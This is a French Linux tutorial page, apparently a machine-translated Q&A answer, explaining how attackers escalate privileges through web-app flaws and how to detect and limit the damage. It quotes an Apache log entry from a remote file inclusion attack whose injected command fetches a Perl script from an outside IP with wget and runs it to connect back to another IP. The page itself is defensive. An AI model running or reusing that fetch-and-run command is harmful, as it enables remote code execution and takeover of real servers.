GNU/Linux >> Tutoriels Linux >  >> Linux

Détection d'escalade de privilège ?

Les exploits, de par leur nature même, essaient de ne pas être détectés. Ainsi, la plupart des exploits n'entrent pas dans le système par des moyens normaux, du moins pas au départ. Ils utiliseront généralement quelque chose comme un dépassement de mémoire tampon pour accéder au système.

débordement de tampon

Ce style d'attaque recherche les parties d'une application qui cherchent à recueillir les données d'un utilisateur. Pensez à une page Web et aux différentes zones de texte où vous devez fournir des informations en tapant des éléments dans ces zones de texte. Chacune de ces zones de texte est un point d'entrée potentiel pour un attaquant potentiel.

La bonne nouvelle :

  • la plupart de ces attaques n'obtiennent pas un accès root, elles obtiennent l'accès à un compte utilisateur spécifiquement configuré pour le serveur Web, de sorte qu'il a généralement un accès limité aux seuls fichiers et fonctions du serveur Web.
  • en pénétrant par effraction, l'attaquant a laissé une trace considérable dans un certain nombre de domaines.
    • Les journaux du pare-feu
    • Journaux du serveur Web
    • Autres journaux d'outils de sécurité potentiels

La mauvaise nouvelle :

  • Ils ont accès à un système, et ont donc une tête de pont où ils peuvent continuer à essayer de s'introduire davantage.
  • Les journaux. Oui, la plupart du temps, les cambriolages ne sont pas détectés pendant des semaines/mois/années, étant donné que l'analyse des journaux prend du temps et est sujette aux erreurs.

détecter les connexions root

La plupart des systèmes sont conçus pour ne pas autoriser les connexions root, ce vecteur d'attaque n'est donc pas vraiment un problème. La plupart des attaques accèdent à un autre compte de niveau inférieur, puis exploitent en trouvant des vulnérabilités supplémentaires une fois qu'elles ont établi une tête de pont sur votre système.

exemple 1 :

Un attaquant potentiel pourrait obtenir un accès root en procédant comme suit :

  1. Pénétrez dans le compte du serveur Web d'un système en trouvant une page Web vulnérable qui traite les entrées d'un utilisateur à partir d'un formulaire via des zones de texte.
  2. Une fois l'accès au compte du serveur Web obtenu, essayez soit d'obtenir un accès au shell via le compte du serveur Web, soit d'obtenir que le compte du serveur Web exécute des commandes en votre nom.
  3. Déterminer qu'il existe une faiblesse dans la version d'un outil de ce système particulier, telle que la commande ls .
  4. Dépasser l'outil ls pour accéder au compte root.

exemple 2 :

Un attaquant potentiel pourrait même ne pas être intéressé à prendre le contrôle total de votre système. La plupart des cambrioleurs ne s'intéressent qu'aux systèmes de collecte destinés à être utilisés comme "esclaves" pour d'autres usages. Très souvent, l'attaquant n'est intéressé que par l'installation de son logiciel sur votre système afin qu'il puisse utiliser le système, sans même en prendre le contrôle total.

  1. Déterminer qu'un certain site Web a mis à disposition l'application Web X. L'attaquant sait que l'application Web X présente une vulnérabilité dans laquelle l'application Web X permet aux utilisateurs de télécharger des fichiers image.
  2. L'attaquant prépare un fichier appelé CMD.gif et le télécharge. C'est peut-être l'image de l'avatar d'un utilisateur sur un site de forum, par exemple. Mais CMD.gif n'est pas une image, c'est en fait un programme, qui s'appelle CMD.gif .
  3. L'attaquant télécharge "l'image" sur le site du forum.
  4. Maintenant, l'attaquant "trompe" l'application Web X pour qu'elle exécute son "image".
  5. L'attaquant passe des appels avec son navigateur vers la webapp X, mais il l'appelle d'une manière que les auteurs de la webapp X n'auraient jamais imaginée. Ils n'ont pas non plus conçu l'application Web X pour l'interdire.

fichier journal du serveur Web d'une telle attaque

201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
  "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
  &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
  %2072.36.21.183%2021 HTTP/1.1" 200

REMARQUE : exemple de journal d'un serveur Web Apache avec l'aimable autorisation d'OSSEC.net.

Ici, l'attaquant obtient la webapp X (index.php) pour exécuter CMD.gif qui peut alors faire ce qui suit :

  1. cd /tmp
  2. wget http://72.36.254.26/~fanta/dc.txt
  3. perl dc.txt 72.36.21.183 21

Ils ont donc persuadé la webapp X de changer de répertoire en /tmp , télécharger un fichier, dc.txt , puis exécutez le fichier en établissant une connexion avec l'adresse IP 72.36.21.183 sur le port 21.

Désactiver un serveur "compromis"

L'idée que vous pouvez arrêter un serveur qui a "détecté" un exploit est une bonne tentative, mais cela ne fonctionne pas pour plusieurs raisons.

  1. Si l'attaquant peut accéder au premier système, il peut probablement accéder au second système.
  2. La plupart des systèmes sont essentiellement des clones les uns des autres. Ils sont plus faciles à entretenir, et garder les choses simples (le même) est une caractéristique de la plupart des choses dans l'informatique et les ordinateurs.
  3. Des configurations différentes signifient plus de travail dans la maintenance des systèmes et plus de possibilités de faire des erreurs, ce qui conduit généralement à une vulnérabilité au départ.
  4. L'objectif des attaquants n'est peut-être pas d'entrer par effraction, ils peuvent essayer de refuser l'accès à votre service. C'est ce qu'on appelle un déni de service (DoS).

Essayer de limiter les dégâts

Je pourrais continuer encore et encore, mais en général, vous disposez de quelques ressources pour sécuriser un système.

  • Utilisez des outils tels que tripwire pour détecter les modifications apportées au système de fichiers d'un système.
  • Pare-feu :limitez l'accès afin qu'il ne soit explicitement autorisé qu'en cas de besoin, plutôt que d'avoir un accès complet à tout.
  • Analyser les fichiers journaux à l'aide d'outils pour détecter les anomalies
  • Maintenir les systèmes à jour et à jour avec les correctifs.
  • Limiter l'exposition :installer uniquement les logiciels nécessaires sur un système, s'il n'a pas besoin du gcc compilateur installé, ne l'installez pas.
  • IDS - logiciel de détection d'intrusion.

Linux
  1. Comment configurer un serveur Web Apache

  2. Hébergement Web bon marché

  3. Redirection de site Web simple via .htaccess

  4. Qu'est-ce que le Web 3.0 ?

  5. Est-ce que sudo et .profile/.bashrc permettent une élévation triviale des privilèges ?

Détection de vulnérabilité Wazuh

Répertoires Web protégés

Qu'est-ce que c'est :Frameworks Javascript - Une introduction

Comment installer le panneau Web CentOS sur CentOS 7.x

Sécurité de l'hébergement Web

Comment configurer un serveur domestique